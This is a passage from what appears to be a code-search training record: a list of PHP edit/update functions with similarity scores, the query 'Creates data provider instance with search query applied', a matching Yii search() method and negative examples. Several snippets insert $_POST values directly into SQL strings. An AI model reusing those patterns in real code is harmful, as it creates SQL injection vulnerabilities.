$this->optional_arr;\n\t\t$optional_arr['id_surat_keputusan_pemutih_penyalur'] = 'protect';\n\t\t$record = array (\n\t\t\t'id_surat_keputusan_pemutih_penyalur' => ${$GLOBALS['get_vars']}['id_surat_keputusan_pemutih_penyalur']\n\t\t);\n\t\t$result = surat_keputusan_pemutih_penyalur::get($record);\n\t\t$value_arr = $result[0];\n\t\t$label_arr = $this->surat_keputusan_pemutih_penyalur_label;\n\n\t\teval($this->save_config);\n\t\t$this->id_cek_pemutih_form($config);\n\t\t\n\t\t$optional_arr['keputusan_pemutih_penyalur'] = 'user_defined';\n\t\t$value_arr['keputusan_pemutih_penyalur']= '<textarea rows=\"100\" cols=\"75\" name=\"keputusan_pemutih_penyalur\" class=\"text\">'.$value_arr['keputusan_pemutih_penyalur'].'</textarea>';\n//\t\t$label_arr['submit_val'] = 'Submit';\n\t\t$label_arr['form_extra'] = '<input type=hidden name=action value=postedit>'; // default null\n\t\t$label_arr['form_title'] = ('Update Surat Keputusan Pemutihan Izin Penyalur Form'); // default null\n\t\t$label_arr['form_width'] = '100%'; // default 100%\n\t\t$label_arr['form_name'] = 'theform'; // default form\n\n\t\t$_form = new form();\n\n\t\t$_form->set_config(\n\t\t\tarray (\n\t\t\t\t'field_arr'\t\t=> $field_arr,\n\t\t\t\t'optional_arr'\t=> $optional_arr,\n\t\t\t\t'value_arr'\t\t=> $value_arr,\n\t\t\t\t'label_arr'\t\t=> $label_arr\n\t\t\t)\n\t\t);\n\t\treturn $_form->parse_field();\n\t}", "public function edit(Polo $polo)\n {\n //\n }", "public function edit(OrangTua $orangTua)\n {\n //\n }", "public function modifiertitre() {\n $idPage = $this->input->post('idPage');\n $titre = ($this->input->post('titre'));\n $this->admin_model->updatePage($titre, $idPage, \"titre\");\n }", "function edit(){\n $kode_produk = $_POST['kode_produk'];\n $nama_produk = $_POST['nama_produk'];\n $harga = $_POST['harga'];\n $jumlah = $_POST['jumlah'];\n $connection = new mysqli('localhost','root','','Uji');\n $connection->query(\"UPDATE Produk SET \n\t\tnama_produk='$nama_produk', jumlah=$jumlah, \n\t\tharga=$harga WHERE kode_produk='$kode_produk'\");\n}", "public function edit(Prueva $prueva)\n {\n //\n }", "public function edit(ChucNang $chucNang)\n {\n //\n }", "public function edit(PhieuChi $phieuChi)\n {\n //\n }", "public function editPriceMoney(){\n\t\t\n\t\t\n\t\t\n\t\t\n\t}", "public function edit(Peserta $peserta)\n {\n //\n \n }", "public function edit(Hiking $hiking)\n {\n //\n }", "public function edit(KegiatanLampiran $kegiatanLampiran)\n {\n //\n }", "public function post_edit(){\n $this->layout = null;\n \n $tetap = Input::get('tetap');\n $iuran = Input::get('iuran');\n $bulanan = Input::get('bulanan');\n $jenjang = Input::get('jenjang');\n $arus = Input::get('arus');\n \n $jenisbiaya = Jenisbiaya::find(Input::get('jenisbiaya_id'));\n $jenisbiaya->nama = Input::get('nama');\n $jenisbiaya->arus = $arus;\n \n if($arus == 'K'){\n $jenisbiaya->tipe = 'BBBI';\n $jenisbiaya->perjenjang = 'N';\n }else{\n if($tetap == 'tetap'){\n if($iuran == 'iuran'){\n if($bulanan == 'bulanan'){\n $jenisbiaya->tipe = 'ITB';\n if($jenjang == 'beda' ){\n $jenisbiaya->perjenjang = 'Y';\n }else{\n $jenisbiaya->perjenjang = 'N';\n }\n }else{\n $jenisbiaya->tipe = 'ITC';\n if($jenjang == 'beda' ){\n $jenisbiaya->perjenjang = 'Y';\n }else{\n $jenisbiaya->perjenjang = 'N';\n }\n }\n }else{\n $jenisbiaya->tipe = 'BTBI';\n $jenisbiaya->perjenjang = 'N';\n }\n }else{\n //biaya bebas\n if($iuran == 'iuran'){\n $jenisbiaya->tipe = 'IB';\n }else{\n $jenisbiaya->tipe = 'BBBI';\n }\n }\n \n }\n \n \n $jenisbiaya->save();\n \n return Laravel\\Redirect::to('setting/biaya');\n }", "public function edit(Suku $suku)\n {\n //\n }", "public function edit($data){\n\t\t$this->db->where('id_pinjam',$data['id_pinjam']);\n\t\t$this->db->update('pinjam_uang', $data);\n\n\t}", "function EDIT()\n{\n\t// se construye la sentencia de busqueda de la tupla en la bd\n $sql = \"SELECT * FROM PAREJA WHERE (idpareja= $this->idpareja)\";\n // se ejecuta la query\n $result = $this->mysqli->query($sql);\n // si el numero de filas es igual a uno es que lo encuentra\n if ($result->num_rows == 1)\n {\t// se construye la sentencia de modificacion en base a los atributos de la clase\n\t\t$sql = \"UPDATE PAREJA SET \n\t\t\t\t\tlogin1 = '$this->login1',\n\t\t\t\t\tlogin2 = '$this->login2'\t\t\t\n\t\t\t\tWHERE ( idpareja = $this->idpareja\n\t\t\t\t)\";\n\n\t\n\t\t// si hay un problema con la query se envia un mensaje de error en la modificacion\n if (!($resultado = $this->mysqli->query($sql))){\n\t\t\treturn 'Error en la modificación de la pareja.'; \n\t\t}\n\t\telse{ \n\t\t\treturn 'Pareja modificada correctamente.';\n\t\t\t\n\t\t}\n }\n else // si no se encuentra la tupla se manda el mensaje de que no existe la tupla\n \treturn 'No existe la pareja en la base de datos';\n}", "public function edit(Python $python)\n {\n //\n }", "public function edit()\n\t{\n\t\t//\n\t}", "public function edit(Anggota $anggota)\n {\n //\n }", "public function edit(Pelicula $pelicula)\n {\n //\n }", "public function edit(GambarProduk $gambarProduk)\n {\n //\n }", "public function edit()\n\t{\n\t\t\n\t}", "function edit_pelanggan(){\n\t\t$id['kd_pelanggan'] = $this->input->post('kd_pelanggan');\n\t\t$data = array(\n\t\t\t'nm_pelanggan' => $this->input->post('nm_pelanggan'),\n\t\t\t'alamat' => $this->input->post('alamat'),\n\t\t\t'email' => $this->input->post('email'),\n\t\t);\n\t\t$this->model_app->updateData('tbl_pelanggan',$data,$id);\n\t\tredirect('master_pelanggan');\n\t}", "public function edit(Conyugue $conyugue)\n {\n //\n }", "public function edit() {\n\t\t\t\n\t\t}", "public function edit(paiement $paiement)\n {\n //\n }", "public function edit(Plazomatricula $plazomatricula)\n {\n //\n }", "public function edit_data_biaya_kuliah(){\n\t\t$data['edit'] = $this->m_aka->edit_data_biaya_kuliah();\n\t\t$data['content'] = 'keuangan/edit_data_biaya_kuliah';\n\t\t$this->load->view('content',$data);\n\t}", "public function edit(Barang_Keluar $barang_Keluar)\n {\n //\n }", "function update_jackpot()\n {\n //read info about the bingo\n $bingo_info = fopen('global/bingo.txt','r+');\n //price of a ticket is on the first line\n $price = fgets($bingo_info);\n $price = (int)str_replace(\"price:\",\"\",$price);\n \n //total jackpot is on the second\n $char_jackpot = fgets($bingo_info);\n $char_jackpot = str_replace(\"jackpot:\",\"\",$char_jackpot);\n $jackpot = (int)$char_jackpot;\n \n $new_jackpot = $jackpot + $price;\n \n //new pointer will be before the value of the jackpot, ftell calls the current position of the cursor\n $pointer = ftell($bingo_info)-strlen($char_jackpot);\n //Move the cursor to the new pointer\n fseek($bingo_info,$pointer);\n //Write the new jackpot\n fputs($bingo_info,$new_jackpot);\n }", "public function edit(Umrah $umrah)\n {\n //\n }", "public function edit_warrior($nopeg, $data_warrior) {\n\t\t$this->db->where('nopeg', $nopeg)\n\t\t\t\t ->update('baru_warrior', $data_warrior);\n\t}", "public function edit(Kavomati $kavomati)\n {\n //\n }", "public function edit(PermohonanLab $permohonanLab)\n {\n //\n }", "function alterarPessoa(){\r\n $banco = conectarBanco();\r\n $sql = \"UPDATE pessoa SET\"\r\n .\" nome='{$_POST[\"nome\"]}', \"\r\n .\" nascimento='{$_POST[\"nascimento\"]}', \"\r\n .\" endereco='{$_POST[\"endereco\"]}', \"\r\n .\" telefone='{$_POST[\"telefone\"]}'\"\r\n .\" WHERE id='{$_POST[\"id\"]}'\";\r\n $banco->query($sql); // Passa a query fornecida em $sql para o banco de dados\r\n $banco->close(); // Fecha o banco de dados\r\n voltarMenu(); // Volta para a pagina inicial da agenda\r\n}", "function edit_info()\n\t{\n\t\tif ($this->ipsclass->input['id'] == \"\")\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Невозможно определить ID языка\");\n\t\t}\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'languages', 'where' => \"lid='\".$this->ipsclass->input['id'].\"'\" ) );\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\tif ( ! $row = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Невозможно найти язык по введенному ID\");\n\t\t}\n\n\t\t$final['lname'] = stripslashes($_POST['lname']);\n\n\t\tif (isset($_POST['lname']))\n\t\t{\n\t\t\t$final['lauthor'] = stripslashes($_POST['lauthor']);\n\t\t\t$final['lemail'] = stripslashes($_POST['lemail']);\n\t\t}\n\n\t\t$this->ipsclass->DB->do_update( 'languages', $final, \"lid='\".$this->ipsclass->input['id'].\"'\" );\n\n\t\t$this->rebuild_cache();\n\n\t\t$this->ipsclass->admin->done_screen(\"Языковой модуль обновлен\", \"Управление языками\", \"{$this->ipsclass->form_code}\" );\n\n\t}", "public function edit(Pro $pro)\n {\n //\n }", "public function edit(){\n $carros = array();\n\n $nomes[] = 'Astra';\n $nomes[] = 'Caravan';\n $nomes[] = 'Ipanema';\n $nomes[] = 'Kadett';\n $nomes[] = 'Monza';\n $nomes[] = 'Opala';\n $nomes[] = 'Veraneio';\n\n $this->set('carros',$nomes);\n }", "static function update() {\n\t\t\tglobal $parts,$_POST;\n\t\t\t$g = $parts[\"bills\"][\"settings\"];\n\t\t\t\n\t\t\tforeach ($_POST as $con=>$o) {\n\t\t\t\tif (isset($g[$con])) \n\t\t\t\t\t$g[$con] = $o;\n\t\t\t\tif ($con==\"dropable\")\n\t\t\t\t\t$g[$con] = (bool)$o;\n\t\t\t}\n\t\t\t\n\t\t\t$parts[\"bills\"][\"settings\"] = $g;\n\t\t\t\n\t\t\t$output = \"<?php \\n\".\"$\".\"parts = \".var_export($parts,true).\";\\n\\n\";\n\t\t\t\n\t\t\tfile_put_contents(\"conf/parts.inc.php\", $output);\n\t\t\t\t\t\t\n\t\t\treturn \"<div class='alert alert-info'>Bilgiler Güncellendi</div>\";\n\t\t}", "public function edit(galang_barang $galang_barang)\n {\n //\n }", "public function edit(kartustok $kartustok)\n {\n //\n }", "public function edit_postingan()\n {\n $post = $this->input->post();\n\n $this->kd_lapak = $post[\"kd_lapak\"];\n $this->kd_jenis = $post[\"kd_jenis\"];\n $this->kd_pengguna = $post[\"kd_pengguna\"];\n $this->Judul_postingan = $post[\"Judul_postingan\"];\n $this->alamat_lokasi = $post[\"alamat_lokasi\"];\n $this->luas_tanah = $post[\"luas_tanah\"];\n $this->Deskripsi = $post[\"Deskripsi\"];\n\n // if (!empty($_FILES[\"image\"][\"name\"])) {\n // $this->image = $this->_uploadImage();\n // } else {\n // $this->image = $post[\"old_image\"];\n // }\n\n return $this->db->update($this->_table, $this, array('kd_lapak' => $post['kd_lapak']));\n }", "public function edit( )\r\n {\r\n //\r\n }", "public function edit(Anggota $anggota)\n {\n // return $anggota\n }", "public function editGoods()\n {\n return 'JingDong editGoods !';\n }", "public function update(){\r\n $query = DB::connection()->prepare('\r\n UPDATE Wine\r\n SET name=:name, \r\n region=:region, \r\n winetext=:winetext,\r\n type=:type\r\n WHERE id=:id');\r\n $query->execute(array(\r\n 'id' => $this->id,\r\n 'name' => $this->name, \r\n 'region' => $this->region, \r\n 'winetext' => $this->winetext, \r\n 'type' => $this->type));\r\n }", "function pa_edit() {\n\t\t\t\t$edit_pid = (int)UTIL::get_post('edit_pid');\n\t\t\t\t\n\t\t\t\t//-- haben wir keine edit-id, gibts eine seiten-tabelle zur auswahl\n\t\t\t\tif (!$edit_pid) {\n\t\t\t\t\techo 'error: no pid';\n\t\t\t\t\texit;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$form = MC::create('form');\n\t\t\t\t$form->init('page', 'mod_page');\n\t\t\t\t$form->add_hidden('edit_pid', $edit_pid);\n\t\t\t\t\n\t\t\t\t// hatten wir fehler\n\t\t\t\tif ($this->get_var('error')) {\n\t\t\t\t\t$form->set_values($this->get_var('data'));\n\t\t\t\t\t$form->set_error_fields($this->get_var('error'));\n\t\t\t\t}\t\n\t\t\t\telse {\n\t\t\t\t\t// frisch aus db lesen\n\t\t\t\t\t$sql = 'SELECT * FROM '.$this->mod_tbl.' WHERE id='.$edit_pid;\n\t\t\t\t\t$res = $this->DB->query($sql);\n\t\t\t\t\t$data = $res->r();\n\t\t\t\t\t$form->set_values($data);\n\t\t\t\t}\n\n\t\t\t\t$this->set_var('path', $this->_get_path_print($edit_pid));\n\t\t\t\t$this->set_var('form', $form);\n\t\t\t\t\n\t\t\t\t$this->OPC->generate_view($this->tpl_dir.'pa_edit.php');\n\n\t\t\t}", "public function update()\n {\n $this->model->load('TacGia');\n $tacgia = $this->model->TacGia->findById($_POST['id']);\n $tacgia->anh = $_POST['anh'];\n $tacgia->ten = $_POST['ten'];\n $tacgia->thongtin = $_POST['thongtin'];\n $tacgia->update();\n\n go_back();\n }", "public function edit(Pendaftaran $pendaftaran)\n {\n //\n }", "public function edit(SuratKeteranganBiodataPenduduk $suratKeteranganBiodataPenduduk)\n {\n //\n }", "public function edit(Tenaga_Kerja $tenaga_Kerja)\n {\n //\n }", "public function edit(Kumpul_Tp $kumpul_Tp)\n {\n //\n }", "public function edit(Inmueble $inmueble)\n {\n //\n }", "function editar_anuncio(Anuncio $anuncioEdita){\n global $mybd;\n\t\t$STH = $mybd->DBH->prepare(\"Update anuncio Set anu_titulo=:ti,anu_descricao=:de,anu_morada=:mo,anu_email=:em,anu_estado=:es,anu_telefone=:te,anu_codigopostal=:co,anu_wcprivativo=:wc,anu_mobilada=:mob,anu_utensilios=:ut,anu_despesas=:des,anu_animais=:ani,anu_latitude=:la,anu_longitude=:lo,anu_preco=:pre,anu_internet=:inte,anu_rapazes=:rap,anu_raparigas=:ra,anu_disponibilidade=:di Where anu_id=:an;\");\n if(!$STH->execute($anuncioEdita->to_array_com_id()))return false;\n return true;//\n }", "function editItem() {\n\t\tglobal $HTML;\n\t\t$HTML->details(1);\n\t\t$name = stringOr($this->vars[\"name\"], $this->getQueryResult(0, \"name\"));\n\n\t\t$_ = '';\n\t\t$_ .= $HTML->head($this->translate(\"Edit point name\"));\n\t\t$_ .= $HTML->block($this->translate(\"Point\").\":\", $this->getQueryResult(0, \"file\"));\n\t\t$_ .= $HTML->input($this->varnames[\"name\"], \"name\", $name);\n\n\t\treturn $_;\n\t}", "public function Edit()\n\t{\n\t\t\n\t}", "public function updatePhone()\n {\n $titre = 'Update Phone';\n $this->render('achat','updatePhone', compact('titre'));\n }", "public function update($aluno) {\n\t}", "public function editUser()\n {\n\n $this->displayAllEmployees();\n $new_data = [];\n $id = readline(\"Unesite broj ispred zaposlenika čije podatke želite izmjeniti: \");\n\n $this->displayOneEmployees( $id);\n\n foreach ( $this->employeeStorage->getEmployeeScheme() as $key => $singleUser) { //input is same as addUser method\n\n $userInput = readline(\"$singleUser : \");\n $validate = $this->validateInput($userInput, $key);\n\n while (!$validate)\n {\n $userInput = readline(\"Unesite ispravan format : \");\n $validate = $this->validateInput($userInput, $key);\n\n }\n if ($key === 'income'){\n $userInput = number_format((float)$userInput, 2, '.', '');\n }\n\n $new_data[$key] = $userInput;\n\n }\n $this->employeeStorage->updateEmployee($id, $new_data); //sends both id and data to updateEmployee so the chosen employee can be updated with new data\n\n echo \"\\033[32m\". \"## Izmjene za \". $new_data['name'].\" \". $new_data['lastname'].\" su upisane! \\n\\n\".\"\\033[0m\";\n\n }", "public function editar()\n {\n if (AuthHelper::obtenerUsuarixAdmin() == 2){\n\n $id = $_POST['pais'];\n $nombre = $_POST['name'];\n \n if (!empty($_POST['name'])) {\n \n //busco en la tabla de paises alguno que coincida con el nombre puesto por el usuario.\n $paisDb = $this->modelpaises->obtenerPais($nombre);\n //y si no se obtuvo un pais en la base de datos que coincida\n //con lo ingresado por el usuario ahi si lo agrego.\n if (empty($paisDb)) {\n \n $this->modelpaises->editar($id, $nombre);\n header(\"Location: \" . BASE_URL . 'home');\n } else\n $this->mostrarEditar($id, \"Ya existe un pais con ese nombre\");\n } else\n $this->mostrarEditar($id, \"Error,nombre vacio\");\n } else {\n $this->view->mostrarError(\"Acceso denegado\");\n }\n }", "public function simpanedit()\n {\n $id_penghasilan = $this->input->post('dataid_penghasilan');\n // data post niok disimpan pada varibael yang berbeda dengan data array, soalnya digunakan untuk kondisi whre di modal\n $data['nik'] = $this->input->post('datanik');\n $data['penghasilan_sebulan'] = $this->input->post('penghasilansebulan');\n $data['maksud_pembuatan'] = $this->input->post('maksudpembuatan');\n $data['status'] = \"Request\";\n\n $this->M_penghasilan->edit_data($data, $id_penghasilan);\n\n redirect('C_penghasilan');\n }", "public function edit(TrangThais $trangThais)\n {\n //\n }" ]
[ "0.6703054", "0.65939426", "0.65561324", "0.6494662", "0.64744234", "0.64677256", "0.63609564", "0.63315505", "0.63026404", "0.62938005", "0.627312", "0.6271995", "0.62704545", "0.6263372", "0.6260048", "0.6241211", "0.62206364", "0.6207124", "0.618325", "0.6173645", "0.6170645", "0.6147242", "0.613309", "0.61285126", "0.61133444", "0.60947573", "0.60901105", "0.6043135", "0.6040752", "0.6036561", "0.6036561", "0.60039616", "0.59912306", "0.597358", "0.5941368", "0.592925", "0.59268546", "0.5917237", "0.5912184", "0.5866755", "0.586498", "0.5839601", "0.58348066", "0.5831982", "0.5825938", "0.58163303", "0.58146805", "0.58039147", "0.57937735", "0.5786625", "0.5781027", "0.577841", "0.57766676", "0.5771426", "0.5769266", "0.5767351", "0.5762164", "0.57545197", "0.57519555", "0.5751697", "0.5748504", "0.57473505", "0.5746749", "0.57421136", "0.574011", "0.57390624", "0.5734", "0.5733535", "0.5731471", "0.5729927", "0.57265574", "0.5715436", "0.571213", "0.57072765", "0.5696074", "0.5695254", "0.56799084", "0.5675829", "0.5673769", "0.5669514", "0.56551385", "0.5642313", "0.5641146", "0.563748", "0.5631287", "0.5626821", "0.5617469", "0.561668", "0.56150275", "0.56123143", "0.56082356", "0.5604408", "0.5600505", "0.559379", "0.5587181", "0.5574863", "0.5573878", "0.5567751", "0.556617", "0.55621874" ]
0.6360707
7
Creates data provider instance with search query applied
public function search() { $query = Board::find()->where(['user_id' => $this->user_id]); $dataProvider = new ActiveDataProvider([ 'query' => $query, 'pagination' => [ 'pageSize' => 10, ], 'sort' => [ 'defaultOrder' => [ 'created_at' => SORT_DESC, ] ], ]); return $dataProvider; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function searchQueryDataProvider() {}", "public function search()\n {\n $q = $this->getQuery();\n $dataProvider = new ActiveDataProvider([\n 'query' => $q,\n ]);\n\n return $dataProvider;\n }", "public function getQueryDataProvider() {}", "public function search() {\n // Get CDbCriteria instance\n $dbCriteria = new CDbCriteria;\n // Search for client name\n $dbCriteria->compare('name', Yii::app()->request->getQuery('name', ''), true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $dbCriteria,\n 'pagination' => array(\n 'pageSize' => 10,\n ),\n ));\n }", "protected function getDataProviders()\n {\n $searchModel = $this->getSearchModel();\n $queryParams = Yii::$app->request->queryParams;\n $dataProvider = $searchModel->search($queryParams);\n return [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider\n ];\n }", "public function search()\n {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('url', $this->url);\n $criteria->compare('type', $this->type);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 100),\n ));\n }", "public function backendSearch()\n {\n $criteria = new CDbCriteria();\n\n return new CActiveDataProvider(\n __CLASS__,\n array(\n 'criteria' => $criteria,\n )\n );\n }", "public function search() {\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria' => $this->getSearchCriteria(),\n\t\t\t'sort' => array(\n\t\t\t\t'defaultOrder' => 't.id DESC',\n\t\t\t\t'attributes' => array(\n\t\t\t\t\t'client_id' => array(\n\t\t\t\t\t\t'asc' => 'client_name asc',\n\t\t\t\t\t\t'desc' => 'client_name desc',\n\t\t\t\t\t),\n\t\t\t\t\t'*',\n\t\t\t\t),\n\t\t\t),\n\t\t\t'pagination' => array(\n\t\t\t\t'pageSize' => Yii::app()->config->get('global.per_page'),)\n\t\t));\n\t}", "public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('id', $this->id, true);\n $criteria->compare('level', $this->level);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('ip_create', $this->ip_create, true);\n\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function createSearchQuery()\n {\n $query = new SearchQuery($this->elastic);\n $query->listeners = $this->listeners;\n return $query;\n }", "public function search()\n {\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('state', $this->state);\n $criteria->compare('type','0');\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function prepareDataProvider()\n\t{\n\t $searchModel = new \\app\\models\\ClearanceSearch(); \n\t\treturn $searchModel->search(\\Yii::$app->request->queryParams);\n\n\t}", "public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('authorname', $this->authorname, true);\n return new CActiveDataProvider($this, array('criteria' => $criteria, ));\n }", "public function getDataProvider(array $query = []);", "protected function prepareDataProvider()\n {\n if ($this->prepareDataProvider !== null) {\n return call_user_func($this->prepareDataProvider, $this);\n }\n\n\t\t/* @var $modelClass \\yii\\db\\BaseActiveRecord */\n $modelClass = $this->modelClass;\n\t\t$query = $modelClass::find();\n\t\t\n\t\t$filters = ActionHelpers::getFilter();\n\t\t\n\t\tforeach($filters as $filter) {\n\t\t\t$query->andFilterWhere($filter);\n\t\t}\n\t\t\n\t\tif($with = ActionHelpers::getWith()) {\n $query->with($with);\n }\n\n return new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => [\n 'pageSize' => ActionHelpers::getLimit()\n ],\n 'sort'=> ActionHelpers::getSort()\n // 'sort'=> ['defaultOrder' => ['id'=>SORT_DESC]]\n ]);\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('entity_id', $this->entity_id);\n $criteria->compare('dbname', $this->dbname, true);\n $criteria->compare('isfiltered', $this->isfiltered);\n $criteria->compare('filtertype', $this->filtertype);\n $criteria->compare('alias', $this->alias, true);\n $criteria->compare('enabled', $this->enabled);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => false,\n ));\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that should not be searched.\n\t\t$criteria = new \\CDbCriteria;\n\n\t\tforeach (array_keys($this->defineAttributes()) as $name)\n\t\t{\n\t\t\t$criteria->compare($name, $this->$name);\n\t\t}\n\n\t\treturn new \\CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria\n\t\t));\n\t}", "public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('type',$this->type,true);\n\t\t$criteria->compare('memo',$this->memo,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function search()\n {\n $query = Hotel::find();\n // add conditions that should always apply here\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n \n // grid filtering conditions\n $query->availables($this->quantity_of_guests);\n $query->andFilterWhere([\n 'hotel_id' => $this->hotel_id,\n 'price_per_guest' => $this->price_per_guest,\n ]);\n $query->andFilterWhere(['like', 'city_name', $this->city_name]);\n return $dataProvider;\n \n }", "public function search()\n\t{\n\t $criteria=new CDbCriteria;\n\t\t\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('projection',$this->projection,true);\n\t\t$criteria->compare('username',Yii::app()->user->id);\n\t\t$criteria->compare('title',$this->title);\n\t\t$criteria->compare('url',$this->url);\n\t return new CActiveDataProvider(get_class($this), array(\n\t 'criteria'=> $criteria,\n\t 'sort'=>array(\n\t 'defaultOrder'=>'name ASC',\n\t ),\n\t 'pagination'=>array(\n\t 'pageSize'=>10\n\t ),\n\t ));\n\t}", "private function _getDataProvider($query, $params){\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n ]);\n\n if (!($this->load($params) && $this->validate())) {\n return $dataProvider;\n }\n\n $query->andFilterWhere([\n 'user_id' => $this->user_id,\n 'profile_id' => $this->profile_id,\n 'authentication_method_id' => $this->authentication_method_id,\n 'status' => $this->status,\n 'created_at' => $this->created_at,\n 'updated_at' => $this->updated_at,\n ]);\n\n $query->andFilterWhere(['like', 'username', $this->username])\n ->andFilterWhere(['like', 'auth_key', $this->auth_key])\n ->andFilterWhere(['like', 'password_hash', $this->password_hash])\n ->andFilterWhere(['like', 'password_reset_token', $this->password_reset_token])\n ->andFilterWhere(['like', 'email', $this->email]);\n\n return $dataProvider;\n }", "public function getMetadataQueryProviderWrapper();", "protected function prepareDataProvider()\n {\n \t$modelClass = $this->modelClass;\n\n $orderBy='id';\n if (isset($_GET['orderBy'])) $orderBy=$_GET['orderBy'];\n\n $orderByDir='DESC';\n if (isset($_GET['orderByDir'])) $orderByDir=$_GET['orderByDir'];\n\n $limit=20;\n if (isset($_GET['limit'])) $limit=$_GET['limit'];\n\n $order = \"$orderBy $orderByDir\";\n\n \t$dataProvider = new ActiveDataProvider([\n 'query' => $modelClass::find()->limit($limit)->with('supplier')->orderBy($order),\n 'pagination' => [\n 'pageSize' => $limit,\n ],\n ]);\n\n \treturn $dataProvider;\n }", "public function makeSearch() \n {\n $this->setSelect($this->qb);\n $this->setAssociations($this->qb);\n $this->setWhere($this->qb);\n $this->setOrderBy($this->qb);\n $this->setLimit($this->qb);\n\n return $this;\n }", "public function search()\n\t{\n\t\t$criteria = new CDbCriteria;\n\t\t//TODO: update search criteria\n\t\t$criteria->compare('id', $this->id, true);\n\t\t$criteria->compare('event_id', $this->event_id, true);\n\t\t$criteria->compare('standard_intervention_exists', $this->standard_intervention_exists);\n\t\t$criteria->compare('details', $this->details);\n\t\t$criteria->compare('interventions_id', $this->interventions_id);\n\t\t$criteria->compare('description', $this->description);\n\t\t$criteria->compare('patient_factors', $this->patient_factors);\n\t\t$criteria->compare('patient_factor_details', $this->patient_factor_details);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}", "public function search()\n\t{\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('title',$this->title,true);\n\t\t$criteria->compare('description',$this->description,true);\n\t\t$criteria->compare('keywords',$this->keywords,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public static function new_search_record()\n\t{\n\t\treturn new user_record_search();\n\t}", "public function search() {\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('content', $this->content, true);\n\t\t$criteria->compare('score', $this->score);\n\t\t$criteria->compare('author', $this->author, true);\n\t\t$criteria->compare('type', $this->type);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}", "public function search()\n {\n $criteria = new CDbCriteria;\n $criteria->compare('uid', $this->uid);\n $criteria->compare('token', $this->token, true);\n $criteria->compare('created', $this->created, true);\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }", "public function search() {\n\n $this->entity = $this->name;\n $this->conditions = $this->_getSearchConditions();\n $this->joins = $this->_getSearchJoins();\n $this->orders = $this->_getSearchOrder();\n $this->limit = $this->_getSearchLimit();\n $this->maxLimit = $this->_getSearchMaxLimit();\n $this->offset = $this->_getSearchOffset();\n $this->fields = $this->_getSearchFields();\n $this->group = $this->_getSearchGroup();\n\n// $this->setVar('entity', $this->name);\n// $this->setVar('conditions', $this->_getSearchConditions());\n// $this->setVar('joins', $this->_getSearchJoins());\n// $this->setVar('orders', $this->_getSearchOrder());\n// $this->setVar('limit', $this->_getSearchLimit());\n// $this->setVar('maxLimit', $this->_getSearchMaxLimit());\n// $this->setVar('offset', $this->_getSearchOffset());\n// $this->setVar('fields', $this->_getSearchFields());\n// $this->setVar('group', $this->_getSearchGroup());\n//\n// $this->setVar('baseAdditionalElements', $this->additionalElements);\n $this->getFieldsForSearchFunction = '_extractSearchFields';\n\n return $this->baseSearch();\n }", "public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('keyword_id', $this->keyword_id);\n $criteria->compare('visits', $this->visits);\n $criteria->compare('page_views', $this->page_views);\n $criteria->compare('parsing', $this->parsing);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => 50),\n ));\n }", "protected function getNewSearchModel()\n {\n $searchModelName = $this->getSearchModelName();\n return new $searchModelName;\n }", "public function search()\n\t{\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('name',$this->name,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function searchdatas(){\r\n\t\t// should not be 